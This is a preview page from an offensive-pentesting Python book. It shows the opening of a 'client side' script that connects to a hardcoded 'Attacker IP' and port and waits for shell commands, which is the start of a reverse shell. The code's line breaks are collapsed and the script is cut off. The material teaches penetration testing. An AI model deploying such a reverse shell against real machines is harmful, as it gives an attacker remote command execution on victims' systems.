O'Reilly logo

Python for Offensive PenTest by Hussam Khrais

Stay ahead with the world's most comprehensive technology and business learning platform.

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, tutorials, and more.

Start Free Trial

No credit card required

Client side

Now, let's look into the client side script:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2# Basic TCP Clientimport socket # For Building TCP Connectionimport subprocess # To start the shell in the systemdef connect():    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # start a socket object 's'     s.connect(('10.0.2.15', 8080)) # Here we define the Attacker IP and the listening port     while True: # keep receiving commands from the Kali machine        command = s.recv(1024) # read the first KB of the tcp socket                if 'terminate' in command: # if we got terminate order from the attacker, close the socket and break the loop            s.close()            break          else: ...

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, interactive tutorials, and more.

Start Free Trial

No credit card required